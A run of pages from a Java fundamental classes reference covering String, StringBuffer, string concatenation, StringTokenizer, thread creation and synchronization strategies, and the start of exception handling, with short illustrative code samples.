The remainder of the classes in java.util.zip support the GZIP and ZIP classes. The generic Deflater and Inflater classes implement the ZLIB algorithms; they are used by DeflaterOutputStream and InflaterInputStream to decompress and compress data. The Checksum interface and the classes that implement it, Adler32 and CRC32, define algorithms that generate checksums from stream data. These checksums are used by the CheckedInputStream and CheckedOutputStream classes.

See Chapter 18, The java.util.zip Package, for complete reference material on all of the classes in the java.util.zip package.

Previous | Home | Next
The java.math Package | Book Index | Strings and Related Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] Strings and Related Classes

Java Fundamental Classes Reference

Previous Chapter 2 Next

2. Strings and Related Classes

Contents:
String
StringBuffer
String Concatenation
StringTokenizer

As with most programming languages, strings are used extensively throughout Java, so the Java API has quite a bit of functionality to help you manipulate strings. This chapter describes the following classes:

  • The java.lang.String class represents all textual strings in Java. A String object is immutable; once you create a String object, there is no way to change the sequence of characters it represents or the length of the string.

  • The java.lang.StringBuffer class represents a variable-length, mutable sequence of characters. With a StringBuffer object, you can insert characters anywhere in the sequence and add characters to the end of the sequence.

  • The java.util.StringTokenizer class provides support for parsing a string into a sequence of words, or tokens.

2.1 String

You can create a String object in Java simply by assigning a string literal to a String variable:

String quote = "To be or not to be";

All string literals are compiled into String objects. Although the Java compiler does not generally treat expressions involving object references as compile-time constants, references to String objects created from string literals are treated as compile-time constants.

Of course, there are many other ways to create a String object. The String class has a number of constructors that let you create a String from an array of bytes, an array of characters, another String object, or a StringBuffer object.

If you are a C or C++ programmer, you may be wondering if String objects are null-terminated. The answer is no, and, in fact, the question is irrelevant. The String class actually uses a character array internally. Since arrays in Java are actual objects that know their own length, a String object also knows its length and does not require a special terminator. Use the length() method to get the length of a String object.

Although String objects are immutable, the String class does provide a number of useful methods for working with strings. Any operation that would otherwise change the characters or the length of the string returns a new String object that copies the necessary portions of the original String.

The following methods access the contents of a String object:

  • substring() creates a new String object that contains a sub-sequence of the sequence of characters represented by a String object.

  • charAt() returns the character at a given position in a String object.

  • getChars() and getBytes() return a range of characters in a char array or a byte array.

  • toCharArray() returns the entire contents of a String object as a char array.

You can compare the contents of String objects with the following methods:

  • equals() returns true if two String objects have the exact same contents, while equalsIgnoreCase() returns true if two objects have the same contents ignoring differences between upper- and lowercase versions of the same character.

  • regionMatches() determines if two sub-strings contain the same sequence of characters.

  • startsWith() and endsWith() determine if a String object begins or ends with a particular sequence of characters.

  • compareTo() determines if the contents of one String object are less than, equal to, or greater than the contents of another String object.

Use the following methods to search for characters in a string:

  • indexOf() searches forward through a string for a given character or string.

  • lastIndexOf() searches backwards through a string for a given character or string.

The following methods manipulate the contents of a string and return a new, related string:

  • concat() returns a new String object that is the concatenation of two String objects.

  • replace() returns a new String object that contains the same sequence of characters as the original string, but with a given character replaced by another given character.

  • toLowerCase() and toUpperCase() return new String objects that contain the same sequence of characters as the original string, but converted to lower- or uppercase.

  • trim() returns a new String object that contains the same character sequence as the original string, but with leading and trailing white space and control characters removed.

The String class also defines a number of static methods named valueOf() that return string representations of primitive Java data types and objects. The Object class defines a toString() method, and, since Object is the ultimate superclass of every other class, every class inherits a basic toString() method. Any class that has a string representation should override the toString() method to produce the appropriate string.

Previous | Home | Next
The java.util.zip Package | Book Index | StringBuffer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.2 StringBuffer

Java Fundamental Classes Reference

Previous Chapter 2
Strings and Related Classes 		Next

2.2 StringBuffer

StringBuffer objects are similar to String objects in that they both represent sequences of characters. The main difference is that a StringBuffer is mutable, while a String is not. The StringBuffer class defines a number of append() methods for adding characters to the end of the sequence, as well as a number of insert() methods for inserting characters anywhere in the sequence.

Many computations that produce a String object use a StringBuffer internally to build the string. For example, to write a method that takes a String object and returns a new String that contains the sequence of characters in reverse, you use a StringBuffer as follows:

public static String reverse(String s) {
    StringBuffer buf = new StringBuffer(s.length());
    for (int i = s.length()-1; i >= 0; i--) {
        buf.append(s.charAt(i));
    }
    return buf.toString();
}

After creating a new StringBuffer object, the method loops over the given string from the last character to the first character and appends each character to the end of the StringBuffer object. When the loop finishes, the StringBuffer object contains a sequence of characters that is the reverse of the sequence of characters in the given String object. The method finishes by calling the toString() method of the StringBuffer; this method returns a String object that contains the same sequence of characters as the StringBuffer object.

Previous | Home | Next
String | Book Index | String Concatenation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.3 String Concatenation

Java Fundamental Classes Reference

Previous Chapter 2
Strings and Related Classes 		Next

2.3 String Concatenation

Java's string concatenation operator (+) provides special support for the String and StringBuffer classes. If either operand of the binary + operator is a reference to a String or StringBuffer object, the operator is the string concatenation operator instead of the arithmetic addition operator. The string concatenation operator produces a new String object that contains the concatenation of its operands; the characters of the left operand precede the characters of the right operand in the newly created string.

If one of the operands of the + operator is a reference to a string object and the other is not, the operator converts the nonstring operand to a string object using the following rules:

  • A null operand is converted to the string literal "null".

  • If the operand is a non-null reference to an object that is not a string, the object's toString() method is called. The result of the conversion is the value returned by the object's toString() method, unless the return value is null, in which case the result of the conversion is the string literal "null".

  • A char operand is converted to a reference to a string object that has a length of one and contains that character.

  • An integer operand (other than char) is converted to a string object that contains the base 10 string representation of its value. If the value is negative, the string starts with a minus sign; if it is positive there is no sign character. If the value is zero, the result of the conversion is "0". Otherwise, the string representation of the integer does not have any leading zeros.

  • If the operand is a floating-point value, the exact string representation depends on the value being converted. If its absolute value is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

  • Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

  • The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

  • A boolean operand is converted to either the string literal "true" or the string literal "false".

The following is a code example that uses the string concatenation operator:

// format seconds into hours, minutes, and seconds
String formatTime(int t) {
    int minutes, seconds;
    seconds = t%60;
    t /= 60;
    minutes = t%60;
    return t/60 + ":" + minutes + ":" + seconds;
}

Java uses StringBuffer objects to implement string concatenation. Consider the following code:

String s, s1, s2;
s = s1 + s2

To compute the string concatenation, Java's compiler generates this code:

s = new StringBuffer().append(s1).append(s2).toString()

Previous | Home | Next
StringBuffer | Book Index | StringTokenizer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.4 StringTokenizer

Java Fundamental Classes Reference

Previous Chapter 2
Strings and Related Classes 		Next

2.4 StringTokenizer

The java.util.StringTokenizer class provides support for parsing a string into a sequence of words, or tokens, that are separated by some set of delimiter characters. Here is an example of how to use the StringTokenizer class:

StringTokenizer s = new StringTokenizer("This is it");
while (s.hasMoreTokens())
    System.out.println(s.nextToken());

This example begins by creating a StringTokenizer object to pick tokens out of the specified string. The example uses a StringTokenizer constructor that does not specify what delimiters to use, so the new StringTokenizer object uses the default delimiters: space, tab ('\t'), carriage return ('\r'), and newline ('\n').

The while loop does the actual work of getting the tokens from the StringTokenizer object. The hasMoreTokens() method returns true while there are still more tokens to be fetched from the StringTokenizer object, while nextToken() returns the next token. Here is the output from the example:

This
is
it

You can also use a StringTokenizer to extract tokens from a string that uses delimiters other than whitespace. For example, suppose that you need to extract tokens that are separated by commas, such as from a string that looks like this:

abc,def,123,789

In this case, you use a StringTokenizer constructor that takes a parameter that specifies the characters to be treated as delimiters. For example:

StringTokenizer s = new StringTokenizer(commaString, ",");

The second argument to this constructor specifies the delimiter characters, so in this case, the only delimiter character is the comma character.

Previous | Home | Next
String Concatenation | Book Index | Threads
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] Threads

Java Fundamental Classes Reference

Previous Chapter 3 Next

3. Threads

Contents:
Using Thread Objects
Synchronizing Multiple Threads

Threads provide a way for a Java program to do multiple tasks concurrently. A thread is essentially a flow of control in a program and is similar to the more familiar concept of a process. An operating system that can run more than one program at the same time uses processes to keep track of the various programs that it is running. However, processes generally do not share any state, while multiple threads within the same application share much of the same state. In particular, all of the threads in an application run in the same address space, sharing all resources except the stack. In concrete terms, this means that threads share field variables, but not local variables.

When multiple processes share a single processor, there are times when the operating system must stop the processor from running one process and start it running another process. The operating system must execute a sequence of events called a context switch to transfer control from one process to another. When a context switch occurs, the operating system has to save a lot of information for the process that is being paused and load the comparable information for the process being resumed. A context switch between two processes can require the execution of thousands of machine instructions. The Java virtual machine is responsible for handling context switches between threads in a Java program. Because threads share much of the same state, a context switch between two threads typically requires the execution of less than 100 machine instructions.

There are a number of situations where it makes sense to use threads in a Java program. Some programs must be able to engage in multiple activities and still be able to respond to additional input from the user. For example, a web browser should be able to respond to user input while fetching an image or playing a sound. Because threads can be suspended and resumed, they can make it easier to control multiple activities, even if the activities do not need to be concurrent. If a program models real world objects that display independent, autonomous behavior, it makes sense to use a separate thread for each object. Threads can also implement asynchronous methods, so that a calling method does not have to wait for the method it calls to complete before continuing with its own activity.

Java applets make considerable use of threads. For example, an animation is generally implemented with a separate thread. If an applet has to download extensive information, such as an image or a sound, to initialize itself, the initialization can take a long time. This initialization can be done in a separate thread to prevent the initialization from interfering with the display of the applet. If an applet needs to process messages from the network, that work generally is done in a separate thread so that the applet can continue painting itself on the screen and responding to mouse and keyboard events. In addition, if each message is processed separately, the applet uses a separate thread for each message.

For all of the reasons there are to use threads, there are also some compelling reasons not to use them. If a program uses inherently sequential logic, where one operation starts another operation and then must wait for the other operation to complete before continuing, one thread can implement the entire sequence. Using multiple threads in such a case results in a more complex program with no accompanying benefits. There is considerable overhead in creating and starting a thread, so if an operation involves only a few primitive statements, it is faster to handle it with a single thread. This can even be true when the operation is conceptually asynchronous. When multiple threads share objects, the objects must use synchronization mechanisms to coordinate thread access and maintain consistent state. Synchronization mechanisms add complexity to a program, can be difficult to tune for optimal performance, and can be a source of bugs.

3.1 Using Thread Objects

The Thread class in the java.lang package creates and controls threads in Java programs. The execution of Java code is always under the control of a Thread object. The Thread class provides a static method called currentThread() that provides a reference to the Thread object that controls the current thread of execution.

Associating a Method with a Thread

The first thing you need to do to make a Thread object useful is to associate it with a method you want it to run. Java provides two ways of associating a method with a Thread:

  • Declare a subclass of Thread that defines a run() method.

  • Pass a reference to an object that implements the Runnable interface to a Thread constructor.

For example, if you need to load the contents of a URL as part of an applet's initialization, but the applet can provide other functionality before the content is loaded, you might want to load the content in a separate thread. Here is a class that does just that:

import java.net.URL;
class UrlData extends Thread   {
    private Object data;
    private URL url
    public UrlData(String urlName) throws MalformedURLException {
        url = new URL(urlName);
        start();
    }
    public void run(){
        try {
            data = url.getContent();
        } catch (java.io.IOException  e) {
        }
    }
    public Object getUrlData(){
        return data;
    }
}

The UrlData class is declared as a subclass of Thread so that it can get the contents of the URL in a separate thread. The constructor creates a java.net.URL object to fetch the contents of the URL, and then calls the start() method to start the thread. Once the thread is started, the constructor returns; it does not wait for the contents of the URL to be fetched. The run() method is executed after the thread is started; it does the real work of fetching the data. The getUrlData() method is an access method that returns the value of the data variable. The value of this variable is null until the contents of the URL have been fetched, at which time it contains a reference to the actual data.

Subclassing the Thread class is convenient when the method you want to run in a separate thread does not need to belong to a particular class. Sometimes, however, you need the method to be part of a particular class that is a subclass of a class other than Thread. Say, for example, you want a graphical object that is displayed in a window to alternate its background color between red and blue once a second. The object that implements this behavior needs to be a subclass of the java.awt.Canvas class. However, at the same time, you need a separate thread to alternate the color of the object once a second.

In this situation, you want to tell a Thread object to run code in another object that is not a subclass of the Thread class. You can accomplish this by passing a reference to an object that implements the Runnable interface to the constructor of the Thread class. The Runnable interface requires that an object has a public method called run() that takes no arguments. When a Runnable object is passed to the constructor of the Thread class, it creates a Thread object that calls the Runnable object's run() method when the thread is started. The following example shows part of the code that implements an object that alternates its background color between red and blue once a second:

class AutoColorChange extends java.awt.Canvas implements Runnable {
    private Thread myThread;
    AutoColorChange () {
        myThread = new Thread(this);
        myThread.start();
        ...
    }
    public void run() {
        while (true) {
            setBackground(java.awt.Color.red);
            repaint();
            try {
                myThread.sleep(1000);
            } catch (InterruptedException e) {}
            setBackground(java.awt.Color.blue);
            repaint();
            try {
                myThread.sleep(1000);
            } catch (InterruptedException e) {}
        }
    }
}

The AutoChangeColor class extends java.awt.Canvas, alternating the background color between red and blue once a second. The constructor creates a new Thread by passing the current object to the Thread constructor, which tells the Thread to call the run() method in the AutoChangeColor class. The constructor then starts the new thread by calling its start() method, so that the color change happens asynchronously of whatever else is going on. The class has an instance variable called myThread that contains a reference to the Thread object, so that can control the thread. The run() method takes care of changing the background color, using the sleep() method of the Thread class to temporarily suspend the thread and calling repaint() to redisplay the object after each color change.

Controlling a Thread

As shown in the previous section, you start a Thread by calling its start() method. Before the start() method is called, the isAlive() method of the Thread object always returns false. When the start() method is called, the Thread object becomes associated with a scheduled thread in the underlying environment. After the start() method has returned, the isAlive() method always returns true. The Thread is now scheduled to run until it dies, unless it is suspended or in another unrunnable state.

It is actually possible for isAlive() to return true before start() returns, but not before start() is called. This can happen because the start() method can return either before the started Thread begins to run or after it begins to run. In other words, the method that called start() and the new thread are now running concurrently. On a multiprocessor system, the start() method can even return at the same time the started Thread begins to run.

Thread objects have a parent-child relationship. The first thread created in a Java environment does not have a parent Thread. However, after the first Thread object is created, the Thread object that controls the thread used to create another Thread object is considered to be the parent of the newly created Thread. This parent-child relationship is used to supply some default values when a Thread object is created, but it has no further significance after a Thread has been created.

Stopping a thread

A thread dies when one of the following things happens:

  • The run() method called by the Thread returns.

  • An exception is thrown that causes the run() method to be exited.

  • The stop() method of the Thread is called.

The stop() method of the Thread class works by throwing a ThreadDeath object in the run() method of the thread. Normally, you should not catch ThreadDeath objects in a try statement. If you need to catch ThreadDeath objects to detect that a Thread is about to die, the try statement that catches ThreadDeath objects should rethrow them.

When an object (ThreadDeath or otherwise) is thrown out of the run() method for the Thread, the uncaughtException() method of the ThreadGroup for that Thread is called. If the thrown object is an instance of the ThreadDeath class, the thread dies, and the thrown object is ignored. Otherwise, if the thrown object is of any other class, uncaughtException() calls the thrown object's printStackTrace() method, the thread dies, and the thrown object is ignored. In either case, if there are other nondaemon threads running in the system, the current program continues to run.

Interrupting a thread

There are a number of methods in the Java API, such as wait() and join(), that are declared as throwing an InterruptedException. What these methods have in common is that they temporarily suspend the execution of a thread. In Java 1.1, if a thread is waiting for one of these methods to return and another thread calls interrupt() on the waiting thread, the method that is waiting throws an InterruptedException.

The interrupt() method sets an internal flag in a Thread object. Before the interrupt() method is called, the isInterrupted() method of the Thread object always returns false. After the interrupt() method is called, isInterrupted() returns true.

Prior to version 1.1, the methods in the Java API that are declared as throwing an InterruptedException do not actually do so. However, the isInterrupted() method does function as described above. Thus, if the code in the run() method for a thread periodically calls isInterrupted(), the thread can respond to a call to interrupt() by shutting down in an orderly fashion.

Thread priority

One of the attributes that controls the behavior of a thread is its priority. Although Java does not guarantee much about how threads are scheduled, it does guarantee that a thread with a priority that is higher than that of another thread will be scheduled to run at least as often, and possibly more often, than the thread with the lower priority. The priority of a thread is set when the Thread object is created, by passing an argument to the constructor that creates the Thread object. If an explicit priority is not specified, the Thread inherits the priority of its parent Thread object.

You can query the priority of a Thread object by calling its getPriority() method. Similarly, you can set the priority of a Thread using its setPriority() method. The priority you specify must be greater than or equal to Thread.MIN_PRIORITY and less than or equal to Thread.MAX_PRIORITY.

Before actually setting the priority of a Thread object, the setPriority() method checks the maximum allowable priority for the ThreadGroup that contains the Thread by calling getMaxPriority() on the ThreadGroup. If the call to setPriority() tries to set the priority to a value that is higher than the maximum allowable priority for the ThreadGroup, the priority is instead set to the maximum priority. It is possible for the current priority of a Thread to be greater than the maximum allowable priority for the ThreadGroup. In this case, an attempt to raise the priority of the Thread results in its priority being lowered to the maximum priority.

Daemon threads

A daemon thread is a thread that runs continuously to perform a service, without having any connection with the overall state of the program. For example, the thread that runs the garbage collector in Java is a daemon thread. The thread that processes mouse events for a Java program is also a daemon thread. In general, threads that run application code are not daemon threads, and threads that run system code are daemon threads. If a thread dies and there are no other threads except daemon threads alive, the Java virtual machine stops.

A Thread object has a boolean attribute that specifies whether or not a thread is a daemon thread. The daemon attribute of a thread is set when the Thread object is created, by passing an argument to the constructor that creates the Thread object. If the daemon attribute is not explicitly specified, the Thread inherits the daemon attribute of its parent Thread object.

The daemon attribute is queried using the isDaemon() method; it is set using the setDaemon() method.

Yielding

When a thread has nothing to do, it can call the yield() method of its Thread object. This method tells the scheduler to run a different thread. The value of calling yield() depends largely on whether the scheduling mechanism for the platform on which the program is running is preemptive or nonpreemptive.

By choosing a maximum length of time a thread can continuously, a preemptive scheduling mechanism guarantees that no single thread uses more than its fair share of the processor. If a thread runs for that amount of time without yielding control to another thread, the scheduler preempts the thread and causes it to stop running so that another thread can run.

A nonpreemptive scheduling mechanism cannot preempt threads. A nonpreemptive scheduler relies on the individual threads to yield control of the processor frequently, so that it can provide reasonable performance. A thread explicitly yields control by calling the Thread object's yield() method. More often, however, a thread implicitly yields control when it is forced to wait for something to happen elsewhere.

Calling a Thread object's yield() method during a lengthy computation can be quite valuable on a platform that uses a nonpreemptive scheduling mechanism, as it allows other threads to run. Otherwise, the lengthy computation can prevent other threads from running. On a platform that uses a preemptive scheduling mechanism, calling yield() does not usually make any noticeable difference in the responsiveness of threads.

Regardless of the scheduling algorithm that is being used, you should not make any assumptions about when a thread will be scheduled to run again after it has called yield(). If you want to prevent a thread from being scheduled to run until a specified amount of time has elapsed, you should call the sleep() method of the Thread object. The sleep() method takes an argument that specifies a minimum number of milliseconds that must elapse before the thread can be scheduled to run again.

Controlling groups of threads

Sometimes is it necessary to control multiple threads at the same time. Java provides the ThreadGroup class for this purpose. Every Thread object belongs to a ThreadGroup object. By passing an argument to the constructor that creates the Thread object, the ThreadGroup of a thread can be set when the Thread object is created. If an explicit ThreadGroup is not specified, the Thread belongs to the same ThreadGroup as its parent Thread object.

Previous | Home | Next
StringTokenizer | Book Index | Synchronizing Multiple Threads
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.2 Synchronizing Multiple Threads

Java Fundamental Classes Reference

Previous Chapter 3
Threads 		Next

3.2 Synchronizing Multiple Threads

The correct behavior of a multithreaded program generally depends on multiple threads cooperating with each other. This often involves threads not doing certain things at the same time or waiting for each other to perform certain tasks. This type of cooperation is called synchronization. This section discusses some common strategies for synchronization and how they can be implemented in Java.

The simplest strategy for ensuring that threads are correctly synchronized is to write code that works correctly when executed concurrently by any number of threads. However, this is more easily said than done. Most useful computations involve doing some activity, such as updating an instance variable or updating a display, that must be synchronized in order to happen correctly.

If a method only updates its local variables and calls other methods that only modify their local variables, the method can be invoked by multiple threads without any need for synchronization. Math.sqrt() and the length() method of the String class are examples of such methods.

A method that creates objects and meets the above criterion may not require synchronization. If the constructors invoked by the method do not modify anything but their own local variables and instance variables of the object they are constructing, and they only call methods that do not need to be synchronized, the method itself does not need to be synchronized. An example of such a method is the substring() in the String class.

Beyond these two simple cases, it is impossible to give an exhaustive list of rules that can tell you whether or not a method needs to be synchronized. You need to consider what the method is doing and think about any ill effects of concurrent execution in order to decide if synchronization is necessary.

Single-Threaded Execution

When more than one thread is trying to update the same data at the same time, the result may be wrong or inconsistent. Consider the following example:

class CountIt {
    int i = 0;
    void count() {
        i = i + 1;
    }
}

The method count() is supposed to increment the variable i by one. However, suppose that there are two threads, A and B, that call count() at the same time. In this case, it is possible that i could be incremented only once, instead of twice. Say the value of i is 7. Thread A calls the count() method and computes i+1 as 8. Then thread B calls the count() method and computes i+1 as 8 because thread A has not yet assigned the new value to i. Next, thread A assigns the value 8 to the variable i. Finally, thread B assigns the value 8 to the variable i. Thus, even though the count() method is called twice, the variable has only been incremented once when the sequence is finished.

Clearly, this code can fail to produce its intended result when it is executed concurrently by more than one thread. A piece of code that can fail to produce its intended result when executed concurrently is called a critical section. However, a critical section does behave correctly when it is executed by only one thread at a time. The strategy of single-threaded execution is to allow only one thread to execute a critical section of code at a time. If a thread wants to execute a critical section that another thread is already executing, the thread has to wait until the first thread is done and no other thread is executing that code before it can proceed.

Java provides the synchronized statement and the synchronized method modifier for implementing single-threaded execution. Before executing the block in a synchronized statement, the current thread must obtain a lock for the object referenced by the expression. If a method is declared with the synchronized modifer, the current thread must obtain a lock before it can invoke the method. If the method is not declared static, the thread must obtain a lock associated with the object used to access the method. If the method is declared static, the thread must obtain a lock associated with the class in which the method is declared. Because a thread must obtain a lock before executing a synchronized method, Java guarantees that synchronized methods are executed one thread at a time.

Modifying the count() method to make it a synchronized method ensures that it works as intended.

class CountIt {
    int i = 0;
    synchronized void count() {
        i = i + 1;
    }
}

The strategy of single-threaded execution can also be used when multiple methods update the same data. Consider the following example:

class CountIt2 {
    int i = 0;
    void count() {
        i = i + 1;
    }
    void count2() {
        i = i + 2;
    }
}

By the same logic used above, if the count() and count2() methods are executed concurrently, the result could be to increment i by 1, 2, or 3. Both the count() and count2() methods can be declared as synchronized to ensure that they are not executed concurrently with themselves or each other:

class CountIt2 {
    int i = 0;
    synchronized void count() {
        i = i + 1;
    }
    synchronized void count2() {
        i = i + 2;
    }
}

Sometimes it's necessary for a thread to make multiple method calls to manipulate an object without another thread calling that object's methods at the same time.

Consider the following example:

System.out.print(new Date());
System.out.print(" : ");
System.out.println(foo());

If the code in the example is executed concurrently by multiple threads, the output from the two threads will be interleaved. The synchronized keyword provides a way to ensure that only one thread at a time can execute a block of code. Before executing the block in a synchronized statement, the current thread must obtain a lock for the object referenced by the expression. The above code can be modified to give a thread exclusive access to the OutputStream object referenced by System.out:

synchronized (System.out) {
    System.out.print(new Date());
    System.out.print(" : ");
    System.out.println(foo());
}

Note that this approach only works if other code that wants to call methods in the same object also uses similar synchronized statements, or if the methods in question are all synchronized methods. In this case, the print() and println() methods are synchronized, so other pieces of code that need to use these methods do not need to use a synchronized statement.

Another situation in which simply making a method synchronized does not provide the needed single-threaded execution occurs when an inner class is updating fields in its enclosing instance. Consider the following code:

public class Z extends Frame {
    int pressCount = 0;
    ...
    private class CountButton extends Button
                              implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            pressCount ++;
        }
    }
    ...
}

If a Z object instantiates more than one instance of CountButton, you need to use single-threaded execution to ensure that updates to pressCount are done correctly. Unfortunately, declaring the actionPerformed() method of CountButton to be synchronized does not accomplish that goal because it only forces the method to acquire a lock on the instance of CountButton it is associated with before it executes. The object you need to acquire a lock for is the enclosing instance of Z.

One way to have a CountButton object capture a lock on its enclosing instance of Z is to update pressCount inside of a synchronized statement:

synchronized (Z.this) {
    pressCount ++;
}

The drawback to this approach is that every piece of code that accesses pressCount in any inner class of Z must be in a similar synchronized statement. Otherwise, it is possible for pressCount to be updated incorrectly. The more pieces of code that need to be inside of synchronized statements, the more places there are to introduce bugs in your program.

A more robust approach is to have the inner class update a field in its enclosing instance by calling a synchronized method in the enclosing instance:

public class Z extends Frame {
    int pressCount = 0;
    synchronized incrementPressCount() {
        pressCount++;
    }
    ...
    private class CountButton extends Button
                              implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            incrementPressCount();
        }
    }
    ...
}

Optimistic Single-Threaded Execution

When multiple threads are updating a data structure, single-threaded execution is the obvious strategy to use to ensure correctness of the operations on the data structure. However, single-threaded execution can cause some problems of its own. Consider the following example:

public class Queue extends java.util.Vector {
    synchronized public void put(Object obj) {
        addElement(obj);
    }
    synchronized public Object get() throws EmptyQueueException {
        if (size() == 0)
            throw new EmptyQueueException();
        Object obj = elementAt(0);
        removeElementAt(0);
        return obj;
    }
}

This example implements a first-in, first-out (FIFO) queue. If the get() method of a Queue object is called when the queue is empty, the method throws an exception. Now suppose that you want to write the get() method so that when the queue is empty, the method waits for an item to be put in the queue, rather than throwing an exception. In order for an item to be put in the queue, the put() method of the queue must be invoked. But using the single-threaded execution strategy, the put() method will never be able to run while the get() method is waiting for the queue to receive an item. A good way to solve this dilemma is to use a strategy called optimistic single-threaded execution.

The optimistic single-threaded execution strategy is similar to the single-threaded execution strategy. They both begin by getting a lock on an object to ensure that the currently executing thread is the only thread that can execute a piece of code, and they both end by releasing that lock. The difference is what happens in between. Using the optimistic single-threaded execution strategy, if a piece of code discovers that conditions are not right to proceed, the code releases the lock it has on the object that enforces single-threaded execution and waits. When another piece of code changes things in such a way that might allow the first piece of code to proceed, it notifies the first piece of code that it should try to regain the lock and proceed.

To implement this strategy, the Object class provides methods called wait(), notify(), and notifyAll(). These methods are inherited by every other class in Java. The following example shows how to implement a queue that uses the optimistic single-threaded execution strategy, so that when the queue is empty, its get() method waits for the queue to have an item put in it:

public class Queue extends java.util.Vector {
    synchronized public void put(Object obj) {
        addElement(obj);
        notify();
    }
    synchronized public Object get() throws EmptyQueueException {
        while (size() == 0)
            wait();
        Object obj = elementAt(0);
        removeElementAt(0);
        return obj;
    }
}

In the above implementation of the Queue class, the get() method calls wait() when the queue is empty. The wait() method releases the lock that excludes other threads from executing methods in the Queue object, and then waits until another thread calls the put() method. When put() is called, it adds an item to the queue and calls notify(). The notify() method tells a thread that is waiting to return from a wait() method that it should attempt to regain its lock and proceed. If there is more than one thread waiting to regain the lock on the object, notify() chooses one of the threads arbitrarily. The notifyAll() method is similar to notify(), but instead of choosing one thread to notify, it notifies all of the threads that are waiting to regain the lock on the object.

Notice that the get() method calls wait() inside a while loop. Between the time that wait() is notified that it should try to regain its lock and the time it actually does regain the lock, another thread may have called the get() method and emptied the queue. The while loop guards against this situation.

Rendezvous

Sometimes it is necessary to have a thread wait to continue until another thread has completed its work and died. This type of synchronization uses the rendezvous strategy. The Thread class provides the join() method for implementing this strategy. When the join() method is called on a Thread object, the method returns immediately if the thread is dead. Otherwise, the method waits until the thread dies and then returns.

Balking

Some methods should not be executed concurrently and have a time-sensitive nature that makes postponing calls to them a bad idea. This is a common situation when software is controlling real-world devices. Suppose you have a Java program that is embedded in an electronic control for a toilet. There is a method called flush() that is responsible for flushing a toilet, and flush() can be called from more than one thread. If a thread calls flush() while another thread is already executing flush(), the second call should do nothing. A toilet is capable of only one flush at a time, and having a concurrent call to the flush() method result in a second flush would only waste water.

This scenario suggests the use of the balking strategy. The balking strategy allows no more than one thread to execute a method at a time. If another thread attempts to execute the method, the method simply returns without doing anything. Here is an example that shows what such a flush() method might look like:

boolean busy;
void flush() {
    synchronized (this) {
        if (busy)
            return;
        busy = true;
    }
    // code to make flush happen goes here
    busy = false;
}

Explicit Synchronization

When the synchronization needs of a thread are not known in advance, you can use a strategy called explicit synchronization. The explicit synchronization strategy allows you to explicitly tell a thread when it can and cannot run. For example, you may want an animation to start and stop in response to external events that happen at unpredictable times, so you need to be able to tell the animation when it can run.

To implement this strategy, the Thread class provides methods called suspend() and resume(). You can suspend the execution of a thread by calling the suspend() method of the Thread object that controls the thread. You can later resume execution of the thread by calling the resume() method on the Thread object.

Previous | Home | Next
Using Thread Objects | Book Index | Exception Handling
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] Exception Handling

Java Fundamental Classes Reference

Previous Chapter 4 Next

4. Exception Handling

Contents:
Handling Exceptions
Declaring Exceptions
Generating Exceptions

Exception handling is a mechanism that allows Java programs to handle various exceptional conditions, such as semantic violations of the language and program-defined errors, in a robust way. When an exceptional condition occurs, an exception is thrown. If the Java virtual machine or run-time environment detects a semantic violation, the virtual machine or run-time environment implicitly throws an exception. Alternately, a program can throw an exception explicitly using the throw statement. After an exception is thrown, control is transferred from the current point of execution to an appropriate catch clause of an enclosing try statement. The catch clause is called an exception handler because it handles the exception by taking whatever actions are necessary to recover from it.

4.1 Handling Exceptions

The try statement provides Java's exception-handling mechanism. A try statement contains a block of code to be executed. Putting a block in a try statement indicates that any exceptions or other abnormal exits in the block are going to be handled appropriately. A try statement can have any number of optional catch clauses that act as exception handlers for the try block. A try statement can also have a finally clause. The finally block is always executed before control leaves the try statement; it cleans up after the try block. Note that a try statement must have either a catch clause or a finally clause.

Here is an example of a try statement that includes a catch clause and a finally clause:

try {
    out.write(b);
} catch (IOException e) {
    System.out.println("Output Error");
} finally {
    out.close();
}

If out.write() throws an IOException, the exception is caught by the catch clause. Regardless of whether out.write() returns normally or throws an exception, the finally block is executed, which ensures that out.close() is always called.

A try statement executes the block that follows the keyword try. If an exception is thrown from within the try block and the try statement has any catch clauses, those clauses are searched, in order, for one that can handle the exception. If a catch clause handles an exception, that catch block is executed.

However, if the try statement does not have any catch clauses that can handle the exception (or does not have any catch clauses at all), the exception propagates up through enclosing statements in the current method. If the current method does not contain a try statement that can handle the exception, the exception propagates up to the invoking method. If this method does not contain an appropriate try statement, the exception propagates up again, and so on. Finally, if no try statement is found to handle the exception, the currently running thread terminates.

A catch clause is declared with a parameter that specifies the type of exception it can handle. The parameter in a catch clause must be of type Throwable or one of its subclasses. When an exception occurs, the catch clauses are searched for the first one with a parameter that matches the type of the exception thrown or is a superclass of the thrown exception. When the appropriate catch block is executed, the actual exception object is passed as an argument to the catch block. The code within a catch block should do whatever is necessary to handle the exceptional condition.

The finally clause of a try statement is always executed, no matter how control leaves the try statement. Thus it is a good place to handle clean-up operations, such as closing files, freeing resources, and closing network connections.

Previous | Home | Next
Synchronizing Multiple Threads | Book Index | Declaring Exceptions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.2 Declaring Exceptions

Java Fundamental Classes Reference

Previous Chapter 4
Exception Handling 		Next

